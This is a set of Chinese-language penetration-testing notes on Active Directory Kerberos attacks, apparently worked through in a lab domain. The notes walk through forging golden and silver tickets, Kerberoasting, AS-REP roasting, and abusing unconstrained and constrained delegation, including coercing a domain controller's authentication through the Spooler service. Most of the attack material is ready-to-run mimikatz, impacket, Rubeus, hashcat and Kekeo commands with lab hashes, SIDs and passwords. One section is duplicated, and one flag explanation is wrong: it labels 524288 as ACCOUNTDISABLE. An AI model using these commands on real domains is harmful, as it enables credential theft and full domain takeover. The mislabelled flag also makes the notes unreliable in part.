虽然PTK方法用处比较小，但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下，PTK攻击的重要性就出现了，可以直接使用AES加密的凭据进行传递攻击以获得权限。 黄金票据krbtgt账户 krbtgt是一个特殊的账户，它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的，它拥有颁发和验证客户端服务票据所需的密钥和证书。 使用krbtgt账户主要有两个方面的操作： 颁发服务票据：krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。验证服务票据：krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。kerberos认证流程 https://zhuanlan.zhihu.com/p/266491528 在日志中我们也可以看出kerberos认证流程 如果一个正确的域内用户进行kerberos认证，则会产生如下五条日志（3号日志为验证ST，也就是用户权限PAC） 如果是域内无权限账户进行kerberos认证，则不会产生4号日志，因为权限不足导致无法分配权限。 如果不使用域内账户进行认证，则只会产生登录错误，审核失败的日志，不会使用kerberos认证。 黄金票据因为黄金票据的原理是伪造tgt，所以只能使用kerberos认证，不能使用ntlm认证。 因此即使导入了票据，使用如下的指令也会提示没有权限。 dir \\10.10.10.10\c$ 如果把ip修改成对应的机器名或域名即可成功。 VPN环境前提需要获取到krbtgt账户的hash值，利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤，通过伪造用户的TGT（包含用户相关的权限身份信息，使用krbtgt的ntlm-hash进行加密）来验证，由于服务器的不严谨，无论用户是否拥有访问服务的权限，只要TGT正确，都可以返回ST（服务票据）。 验证条件 1.拥有一个域的SID； 2.拥有krbtgt账户的hash值； 3.需要一个本地管理员用户，来执行mimikatz privilege::debug lsadump::dcsync /domain:ww1.com /user:krbtgt lsadump::dcsync /domain:ww1.com /all /csv krbtgt账户ntlm-hash：eb92dd77ca9cdadd073ae907a7c22d0d 获取你将要注入的一个普通用户的SID（去掉权限标识-500） S-1-5-21-3315874494-179465980-3412869843-500 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 还未注入黄金票据时，普通用户无法访问域控资源 生成黄金票据（注意要删除SID后面的标识符）/user:伪造的用户名 kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi 清除原本的票据信息 kerberos::purge 加载票据 kerberos::ptt 1.kirbi 成功访问到域控资源 使用dcsync获取到域内hash lsadump::dcsync /domain:ww1.com /all /csv 接下来验证域林中子域的黄金票据具有怎么样的权限 子域控的krbtgt hash值 5521f994722ff1807d88d17dd9d19535 子域的SID S-1-5-21-3625630716-398430537-4180109759 制作黄金票据 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 使用子域krbtgt制作的黄金票据可以访问子域控的资源 无法访问主域控的资源，也无法访问主域的资源 也无法访问同级别子域的资源 接下来使用主域的krbtgt生成黄金票据 主域的krbtgt eb92dd77ca9cdadd073ae907a7c22d0d 主域的SID S-1-5-21-3315874494-179465980-3412869843 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 经过测试，发现和主域的administrator权限相同，可以访问主域和子域控的资源，但是无法访问子域成员机的资源。 接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据 主域的krbtgt eb92dd77ca9cdadd073ae907a7c22d0d 子域的SID S-1-5-21-3625630716-398430537-4180109759 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi kerberos::purge kerberos::ptt 1.kirbi 发现拥有的是childv域的管理员权限，只能访问childv域内所以资源，无法访问主域和其他同级子域的资源。 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi 这条指令的票据没有任何权限，可能是因为krbtgt需要与参数/domain匹配。 接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据 子域的krbtgt 5521f994722ff1807d88d17dd9d19535 主域的SID S-1-5-21-3315874494-179465980-3412869843 kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 发现获取到的是主域administrator的权限，可以访问主域、子域控的资源 kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi 这条指令的票据没有任何权限，可能是因为krbtgt需要与参数/domain匹配。 使用ticketer.py实现 https://blog.csdn.net/qq_41874930/article/details/108266378 https://xz.aliyun.com/t/11877 https://paper.seebug.org/321/ 首先使用工具ticketer.py生成票据 python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator 使用 impacket 的脚本使用 ccache 文件进行身份验证，而不是提供明文密码或NT哈希，我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径 export KRB5CCNAME=/path/to/ccache/file export KRB5CCNAME=/tmp/administrator.ccache echo $KRB5CCNAME 在配置好socks代理和proxychains远程解析dns之后，即可使用该票据进行高权限操作。 proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk //-codec gbk 防止回弹的cmd乱码的情况出现 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。记下 chcp.com 命令返回的字符编码代码页。使用 Python 的 codecs 库中的标准编码列表（https://docs.python.org/3/library/codecs.html#standard-encodings）找到对应的编码名称。在运行 smbexec.py 脚本时，添加 -codec 参数，并指定与目标主机字符编码一致的编码名称。例如，如果字符编码代码页为 936，则选择 GBK 编码进行解码。（-codec gbk） socks隧道环境在socks环境中，想要解析域名对应的ip，使用Proxifier工具无法代理远程dns，因此只能通过本地进行修改host文件，本地修改host不能解决远程dns解析的问题，因为修改本地host相当于是在本地将域名和ip进行替换，远程还是相当于通过ip操作。 目前来说，windows环境下socks代理的情况下无法使用黄金票据，因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作，自己配置了dns解析，就可以使用黄金票据了。（与kerberos协议无关，ntlm协议和kerberos协议是走tcp的，只要网络是通的，那就可以使用ntlm和kerberos认证） 但是在linux环境下，linux代理软件proxychains可以远程解析dns，因此可以使用黄金票据。 使用ticketer.py实现 https://paper.seebug.org/321/ 首先使用工具ticketer.py生成票据 python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator 使用 impacket 的脚本使用 ccache 文件进行身份验证，而不是提供明文密码或NT哈希，我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径 export KRB5CCNAME=/path/to/ccache/file export KRB5CCNAME=/tmp/administrator.ccache echo $KRB5CCNAME 在配置好socks代理和proxychains远程解析dns之后，即可使用该票据进行高权限操作。 proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk //-codec gbk 防止回弹的cmd乱码的情况出现 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。记下 chcp.com 命令返回的字符编码代码页。使用 Python 的 codecs 库中的标准编码列表（https://docs.python.org/3/library/codecs.html#standard-encodings）找到对应的编码名称。在运行 smbexec.py 脚本时，添加 -codec 参数，并指定与目标主机字符编码一致的编码名称。例如，如果字符编码代码页为 936，则选择 GBK 编码进行解码。（-codec gbk） Kerberosast攻击https://www.cnblogs.com/Hekeats-L/p/16800918.html https://zhuanlan.zhihu.com/p/475122515 在使用 Kerberos协议进行身份验证的网络中，必须在内置账号（Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号，SPN将自动进行注册。 但是，如果在域用户账号下运行服务，则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求，获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。 **Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例，那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证，那么给定的服务实例可以有多个SPN。例如，SPN总是包含运行的服务实例的主机名称，所以，服务实例可以为其所在主机的每个名称或别名注册一个SPN。 根据Kerberos协议，当用户输人自己的账号和密码登录活动目录时，域控制器会对账号和密码进行验证。验证通过后，密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户（作为用户访问资源时的身份凭据） 下面通过一个例子来说明。当用户需要访问MSSQL服务时，系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后，用户会再次与KDC通信，将KDC发放的TGT作为身份凭据发送给KDC，并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。 确认无误后，由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户，用户使用该票据即可访问MSSQL服务。 而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据，对于域内的任何主机，都可以通过查询SPN，向域内的所有服务请求ST，然后进行暴力破解。 具体的利用过程 1.拥有一个域内普通用户的hash（拥有正确的TGT）； 2.查询SPN，向域内的所有服务请求ST； 3.因为KDC不会验证权限，因此无论是否拥有访问该服务的权限，只要TGT正确，TGS服务器都会返回该服务对应的服务票据ST; 4.使用工具破解服务HASH； 使用工具Rubeus.exe Rubeus.exe kerberoast 使用Impacket工具包的GetUserSPNs.py python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request 导出hash后使用hashcat进行解密即可 hashcat -m 13100 -a 0 hash.txt Pass.txt 破解服务帐户密码后，根据服务帐户是否为域管理员，有多种方法可以窃取数据。如果服务帐户是域管理员，你将拥有类似于银票的控制权，并且可以收集重要的数据，例如转储 NTDS.dit。如果服务帐户不是域管理员，你可以使用它来登录其他系统获得立足点或者进行权限升级，或者你可以使用破解的密码来攻击其他服务和域管理员帐户。 AS-REP Roasting攻击https://www.cnblogs.com/Hekeats-L/p/16800918.html https://zhuanlan.zhihu.com/p/474523090 https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting 预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP)，它的主要作用是防止密码脱机爆破。默认情况下，预身份验证是开启的，KDC会记录密码错误次数，防止在线爆破。 正常情况下，在上图中，在kerberos认证第一步中，会向AS发送用户名和密码，并且向AS发送一个AS_REQ，这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据，以及一些其他信息。然后AS会去检查客户端ID是否在数据库中，如果在，则使用其hash进行解密比对，比对成功，则发送两条信息给客户端，一条是使用客户端HASH加密的Session Key等信息，另一条就是使用krbtgt HASH加密的票据TGT。 而这个HASH比对验证的过程就是预身份验证，如果取消掉预身份验证，只要使用的是KDC数据库中存在的用户名，那么就会直接返回使用客户端HASH加密的Session Key等信息，可以进行离线爆破。 AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限，因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。 使用工具Rubeus.exe Rubeus.exe asreproast https://hashcat.net/wiki/doku.php?id=example_hashes 查找hashcat密码，为了能让hashcat识别，我们要在$krb5asrep后面添加一个$23 hashcat -m 18200 hash.txt passwd.txt--force 还有工具ASREPROAST.ps1 Powershell -ExecutionPolicy Bypass Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast Get-ASREPHash -UserName man03 -Domain vvvv1.com 还有工具Impacket中的GetNPUsers.py python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes 尝试该工具会在日志中生成4678的TGT请求记录 在实战当中很少见会开启这个选项的，所以我们在内网渗透中一般是用来做权限维持。 需要枚举域内用户是否存在开启选项 1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户 2. 导出hash并破解 需要先获得对指定用户的GenericWrite权限，利用思路如下：开启用户选项”Do not require Kerberos preauthentication”导出hash并破解关闭用户选项”Do not require Kerberos preauthentication”**总结：****与Kerberoasting和黄金票据的区别** · AS-REP Roasting：获取用户hash然后离线暴力破解 · Kerberoasting：获取应用服务hash然后暴力破解 · 黄金票据：通过假冒域中不存在的用户来访问应用服务 白银票据https://www.freebuf.com/articles/others-articles/329728.html 如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。 在Kerberos认证的第三部，Client带着ST和Authenticator3向Server上的某个服务进行请求，Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。 通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。 所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。 在Windows下 klist purge privilege::debug kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt 在socks代理的环境下，只需要修改host文件指定域名与ip的关系即可。 C:\Windows\System32\drivers\etc\host 在linux下使用pypykatz https://github.com/skelsec/pypykatz/wiki/ pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:0e88bb31c15409de8c9302a085a0b853@10.10.10.10" "cifs@vvvv1.com" 白银票据的服务列表 Service TypeService Silver TicketsWMIHOST <br>RPCSSPowerShell RemotingHOST <br>HTTPWinRMHOST <br>HTTPScheduled TasksHOSTWindows File Share (CIFS)CIFSLDAP operations including<br><br>Mimikatz DCSyncLDAPWindows Remote Server Administration ToolsRPCSS <br>LDAP <br>CIFSkerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt 白银票据利用https://www.cnblogs.com/backlion/p/8119013.html 1.为CIFS 服务创建白银票据，以获得目标计算机上任何Windows共享的管理权限； 2.为HOST服务创建白银票据，以获得目标计算机修改和创建计划任务的权限； 3.为HTTP&WSMAN服务创建白银票据，以获得目标系统上的WinRM和或PowerShell Remoting的管理权限， 注入两张HTTP＆WSMAN白银票据后，我们可以使用PowerShell远程（或WinRM的）反弹出目标系统shell； 4.为LDAP服务创建白银票据，以获得目标系统（包括Active Directory）上LDAP服务的管理权限，通过DCSync来获取域hash； 5.为HOST和RPCSS服务创建白银票据，以获得在目标系统使用WMI远程执行命令的权限； 总结1.白银票据是通过服务名和其hash来进行伪造服务票据ST，并且在利用白银票据的过程并不需要再经过KDC，因此，在socks代理环境下，只需要修改本地的host文件，使我们的命令走kerberos协议，即可使用白银票据； 2.黄金票据在socks代理环境下之所以需要远程解析DNS才可以使用的原因是，黄金票据相当于是伪造TGT票据，接下来还需要访问域内的DNS服务器，来返回KDC的地址等信息，因此必须要DNS远程解析才可以使用黄金票据； 3.当使用域名进行dir或者net use的时候，默认是使用kerberos认证，但是在特定情况下 Kerberos 认证失败（如未正确配置、目标服务器不支持或 Kerberos 凭据过期等），Windows 客户端会自动回退到使用 NTLM 认证， 也就是说如果是在域外的机器，在socks代理环境下，使用黄金票据无法指定KDC的地址，那么使用域名进行 dir 或 net use 操作时，默认的kerberos认证无法进行下去，就会使用ntlm认证。 NTLM认证审核失败如下： NTLM认证审核成功如下： 4.这样就可以解释为什么在socks代理环境下使用白银票据是使用kerberos认证，而使用黄金票据认证失败却显示NTLM认证。 在使用白银票据时，修改host文件本地解析域名，且接下来的过程不涉及到KDC，因此可以直接使用kerberos认证通过，由于白银票据是伪造ST，且利用PAC未设置的漏洞，因此产生的日志只有上图的4号日志，因为绕过PAC检测，因此也不会有3号日志。 在使用黄金票据时，虽然也可以使用修改host文件本地解析域名，但是黄金票据是伪造TGT，后面的认证过程中还会涉及到客户端使用TGT向KDC请求ST的操作，而获取到KDC的地址则需要访问DNS服务器，通过DNS服务器指定KDC的地址，才能完成kerberos认证，但是在windows下无法远程解析，也就是无法在远程访问DNS服务器（Proxifier软件无法远程解析，linux中的proxychains可以），因此无法使用kerberos认证，所以Windows 客户端会自动回退到使用 NTLM 认证，此时如果我们输入错误的账户密码则会显示NTLM认证失败。 如果使用黄金票据认证成功，则会产生2、3、4号日志。 委派攻击在现实情况下，往往多个服务不可能在一台机器中，那么如果用户在使用服务A时，需要服务B上属于自己的数据，最简单的方式就是A代替用户去请求B返回相应的信息，这个过程就是委派。 委派攻击分为非约束委派、约束委派、基于资源的约束委派三种。 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html https://mp.weixin.qq.com/s?__biz=MzI2NDk0MTM5MQ==&mid=2247483689&idx=1&sn=1d83538cebbe2197c44b9e5cc9a7997f&chksm=eaa5bb09ddd2321fc6bc838bc5e996add511eb7875faec2a7fde133c13a5f0107e699d47840c&scene=126&sessionid=1584603915&key=cf63f0cc499df801cce7995aeda59fae16a26f18d48f6a138cf60f02d27a89b7cfe0eab764ee36c6208343e0c235450a6bd202bf7520f6368cf361466baf9785a1bcb8f1965ac9359581d1eee9c6c1b6&ascene=1&uin=NTgyNDEzOTc%3D&devicetype=Windows+10&version=62080079&lang=zh_CN&exportkey=A8KlWjR%2F8GBWKaJZTJ2e5Fg%3D&pass_ticket=B2fG6ICJb5vVp1dbPCh3AOMIfoBgH2TXNSxmnLYPig8%3D 非约束委派攻击非约束委派的请求过程如下图 这里我们可以了解，当service1的服务账户开启了非约束委派后，user访问service1时，service1会将user的TGT保存在内存中，然后service1就可以利用TGT以user的身份去访问域中的任何user可以访问的服务，总结起来就是当域内某台主机或用户访问了配置了非约束性委派的主机的服务的时候，就会将自己的TGT发送到该服务所在的计算机上，然后该计算机会保存其TGT至内存中。 也就是说，如果域内一台主机存在非约束委派，经过一系列的渗透操作，我们拿下了这一台存在非约束委派的主机，那么只需要让域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证，就可以直接提取到域管理员的TGT，从而利用该TGT接管域控。 查找非约束委派主机当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含TRUSTED_FOR_DELEGATION ADfind （需要上传到域内一台成员主机中运行） AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName **-b "DC=vvvv1,DC=com"：**指定了要搜索的 Active Directory 的基本搜索路径（基准 DN）。这里的示例是域名为 vvvv1.com 的域。"DC" 表示域组件。**-f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))"：**指定了过滤器，以筛选符合条件的对象。该示例的过滤器使用了两个条件：**samAccountType=805306369：**筛选出 samAccountType 值为 805306369，表示计算机对象（Computer）。 0x30000000 （805306368）：表示用户对象（User）0x30000001 （805306369）：表示计算机对象（Computer）0x30000002 （805306370）：表示组对象（Group）0x30000003 （805306371）：表示域本地组对象（Domain Local Group）0x30000004 （805306372）：表示全局组对象（Global Group）0x30000005 （805306373）：表示通用组对象（Universal Group）**userAccountControl:1.2.840.113556.1.4.803:=524288：**通过位掩码筛选出 userAccountControl 属性中的特定标志位。这里的值 524288 表示 "ADS_UF_ACCOUNTDISABLE" 标志，用于检查用户帐户是否禁用。 **cn distinguishedName：**指定要返回的属性列表。该示例中返回了 cn（常规名称）和 distinguishedName（唯一名称）属性。 LdapSearch （linux下，在socks代理的环境下可以使用，需要指定账号密码） ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "man03@vvvv1.com" -w "User\!@#45" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName -LLL：以 LDIF 格式（LDAP Data Interchange Format）输出结果，去除注释和版本信息。-x：使用简单身份验证（Simple Authentication），即使用明文密码进行身份验证。-H ldap://192.168.124.142:389：指定要连接的 LDAP 服务器的主机和端口。在这个示例中，LDAP 服务器位于 IP 地址为 192.168.124.142 的主机上，使用默认端口 389 进行通信。-D "administrator@test.com"：指定用于绑定（bind）到 LDAP 服务器的用户 DN（Distinguished Name）。在这个示例中，绑定的用户为 administrator@test.com。-w "123"：指定与绑定用户关联的密码。-b dc=test,dc=com：指定要搜索的基准 DN（Base DN），即搜索的起始点。在这个示例中，基准 DN 是 dc=test,dc=com，表示搜索域为 test.com。"(&(samAccountType=805306369)(msds-allowedtodelegateto=*))"：指定了搜索过滤器，以筛选符合条件的对象。该示例中的过滤器使用了两个条件：samAccountType=805306369：筛选出 samAccountType 值为 805306369，表示计算机对象（Computer）。msds-allowedtodelegateto=*：筛选具有非空 msds-allowedtodelegateto 属性的对象。cn distinguishedName msds-allowedtodelegateto：指定要返回的属性列表。该示例中返回了 cn（常规名称）、distinguishedName（唯一名称）和 msds-allowedtodelegateto 属性。powerview (需要上传powerview进入目标靶机) Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 Get-NetComputer -Unconstrained -Domain vvvv1.com | select cn 非约束委派利用利用环境 域控：AD-2016 普通成员主机：WSUS-PC（配置非约束委派） 域管账户：VVVV1\administrator 由上面的原理我们可以知道，一台主机配置了非约束委派之后，域管理员或者域控访问该主机的服务或者对该主机进行kerberos认证，都会将对应的TGT保存到该主机的LSASS进程中，我们就可以通过工具进行导出TGT来注入内存，获取域内高权限，从而接管域控。 这里我们只需要使用域控或者域管账户对WSUS-PC机器进行kerberos认证即可。 未注入前权限 使用域控或者域管账户对WSUS-PC机器进行kerberos认证在域控上使用机器名进行net use建立共享进行kerberos认证。 net use \\WSUS-PC.vvvv1.com\ipc$ dir \\WSUS-PC.vvvv1.com\c$经过此次连接后，Administrator的凭证已经留在机器WSUS-PC上了。 使用mimikatz导出TGT，并选择高权限TGT注入内存privilege::debug #导出票据 sekurlsa::tickets /export kerberos::ptt [0;7963f]-2-0-60a10000-Administrator@krbtgt-VVVV1.COM.kirbi #注入票据 klist 发现权限提升，接管域控。 总结思路通过IdapSearch或者AdFind或者PowerView查询域内配置了非约束性委派的机器。通过渗透手段拿下目标机器权限。诱导域控或域管对这台机器进行kerberos认证(使用钓鱼手段或者打印机漏洞等等)。利用成功后，域控或域管的TGT被注入LSASS进程，使用mimikatz等工具导出本地TGT。获取到高权限TGT，使用mimikatz等工具将高权限的TGT注入内存，接管域控。利用Spooler服务漏洞进行攻击https://blog.csdn.net/a3320315/article/details/106511098 https://blog.csdn.net/qq_44159028/article/details/124014421 在特定情况下，如果域控开启splooer服务，可以利用splooer服务让域控主动连接。Spooler服务默认开启，域用户可以利用windows打印系统远程协议(MS-RPRN)强制任何运行了spooler服务的域内计算机通过kerberos或ntlm对任何目标进行身份验证，这便是该攻击方式的原理。 Rubeus对域控机器账户监听以本地管理员权限运行Rubeus，对域控机器账户的登录进行监听。 Rubeus.exe monitor /interval:1 /filteruser:ad-2016$ # 我们可以用Rubeus来监听Event ID为4624事件，这样可以第一时间截取到域控的TGT # /interval:1 设置监听间隔1秒 # /filteruser 监听对象为我们的域控，注意后面有个$，如果不设置监听对象就监听所有的TGT # DC$为域控的主机名字加$ 利用spoolsample工具强制让域控机向本机验证身份以当前域用户身份运行spoolsample。 注意：需要关闭防火墙，否则无法抓取到TGT。 spoolsample.exe ad-2016 wsus-pc # 表示利用打印服务强制让域控机向wsus-PC主机验证身份，这样通过Rubeus就可以监听抓取到TGT了 格式处理，获得票据因为获取到的TGT前后存在换行和空格，这里我们使用python简单进行处理。 data ='' with open("1.txt") as fp1: for line in fp1: data += line.strip().strip('\n') with open("2.txt",mode='a') as fp2: fp2.write(data) print(data) 使用powershell将其转为正常的票据 [IO.File]::WriteAllBytes("C:\Users\16229\Desktop\1.kirbi", [Convert]::FromBase64String("TGT_data")) 注意：生成路径需要绝对路径 生成票据1.kirbi后直接导出即可。 使用mimikatz或者Rubeus导入TGT。 kerberos::ptt 1.kirbi 或者使用Rubeus直接导入 Rubeus.exe ptt /ticket:TGT_data 注意，这里获取的TGT实际上是DC的机器账户，而机器账户是没有相应权限访问cifs服务的，但是在LDAP服务中，机器账户会被当做域控主机，从而可以DCSync。 利用DCSync可以导出域内hash，制作黄金票据来进行权限提升与维持，这里就不多赘述了。 约束委派攻击对于约束性委派，服务账户只能获取该用户对指定的服务的ST。从而只能模拟该用户访问特定的服务。配置了约束性委派的账户的msDS-AllowedToDelegateTo属性会指定对哪个SPN进行委派。约束性委派的设置需要SeEnableDelegationPrivilege特权，该特权默认仅授予域管理员和企业管理员。 **约束性委派有两种：**一种是仅使用Kerberos，也就是不能进行协议转换；另一种是使用任何身份验证协议，也就是能进行协议转换。 （1）仅使用Kerberos 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样，但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN（2）使用任何身份验证协议 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312，并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN约束性委派的流程 为了在Kerberos协议层面对约束性委派进行支持，微软对Kerberos协议扩展了两个自协议：S4u2Self（Service for User to Self）和 S4u2Proxy（Service for User to Proxy）。S4u2Self可以代表任意用户请求针对自身的ST；S4uProxy可以以用户的名义请求针对其他指定服务的ST 用户A访问service1；service1通过S4U2self协议代表用户A去请求一个可以访问service1自身的可转发的ST，这个ST代表域控授权service1可以以用户A的身份进行操作；service1通过S4U2proxy协议以用户A的身份访问KDC请求一个访问service2的可转发的ST，而在S4U2proxy阶段过程会通过判断msds-allowedtodelegateto里的SPN值来确定是否可以申请到service2的ST；service1获取到ST并以用户A的名义访问service2；也就是说，如果获取了service1的权限，就可以伪造S4U先请求service1本身的ST，然后利用此ST便可以伪造任意用户请求获取service2的ST。 （注意：可转发的ST指的是一个用户的凭证或票据从一个服务传递给另一个服务，以便在后续的服务中代表该用户进行身份验证和授权。当一个用户在某个服务上成功进行身份验证后，该服务可能会颁发一个票据给用户。这个票据可以包含用户的身份信息和权限。通常情况下，这个票据只能在颁发它的服务上使用，这样就是不可转发的服务票据。但是，在约束委派中，获取到的服务自身的ST可以将用户的票据转发给其他服务，以便用户无需重新进行身份验证，直接在其他服务上使用之前获得的票据。） 查找约束委派主机当服务账号或者主机被设置为约束性委派时，其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION，且msDS-AllowedToDelegateTo属性会包含被约束的服务 AdFind //查询域内具有约束委派的机器账户 AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto //查询域内具有约束委派的服务账户 AdFind.exe -b "DC=vvvv1,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto LdapSearch //查询域内具有约束委派的机器账户 ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto //查询域内具有约束委派的服务账户 ldapsearch -LLL -x -H ldap://10.10.10.10:389 -D "administrator@vvvv1.com" -w "admin!@#4567" -b dc=vvvv1,dc=com "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto PowerView Powershell -ExecutionPolicy Bypass Import-Module .\PowerView.ps1 //查询域内具有约束委派的机器账户 Get-DomainComputer -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto //查询域内具有约束委派的服务账户 Get-DomainUser -TrustedToAuth -Domain vvvv1.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto 约束委派利用因为S4U2self是service代表用户请求的自身可转发的ST，因此如果要配置域内账户进行约束委派，需要对该账户配置SPN。 查看域内所有SPN setspn -Q */* 查看单个主机的SPN setspn -L ad-2016$ 配置SPN setspn -u -s host/weipai wp -u: 指定要设置 SPN 的帐户。在此命令中，-u 参数指示要设置名为 "wp" 的帐户的 SPN。-s: 指定要添加或更改 SPN 记录。在此命令中，-s 参数表示要添加一个新的或更改现有的 SPN 记录。host/weipai: 这是 SPN 的格式部分之一，用于标识服务和主机。在这个例子中，"host/weipai" 被用作服务和主机名。请注意，这是一个示例，具体的服务和主机名应根据您的实际情况进行调整。wp: 这是要设置 SPN 的帐户名。在这个命令中，"wp" 是指定要设置 SPN 的帐户的名称。综上所述，setspn -u -s host/weipai wp 命令将为 "wp" 帐户添加一个新的 SPN 记录，并将其关联到 "host/weipai" 服务和主机。这样，在系统进行身份验证和授权时，可以正确地识别 "wp" 帐户，并将其与特定的服务和主机相关联。 攻击方式一首先我们需要获取到服务账户的NTLM-HASH，用来制作TGT，通过服务账户的TGT在下一步获取到自身的可以转发的ST(如果是某个机器配置了约束委派，使用其对应的机器账户即可)。 使用工具Kekeo生成服务账户的TGT tgt::ask /user:WSUS-PC$ /domain:vvvv1.com /NTLM:729211aa36b43064f566d70dff031567 这一步包括两个步骤： 1.利用服务账户的TGT来伪造S4U来请求自身的可转发的ST； 2.通过自身的可转发的ST来伪造任意用户请求获取其他服务的ST； 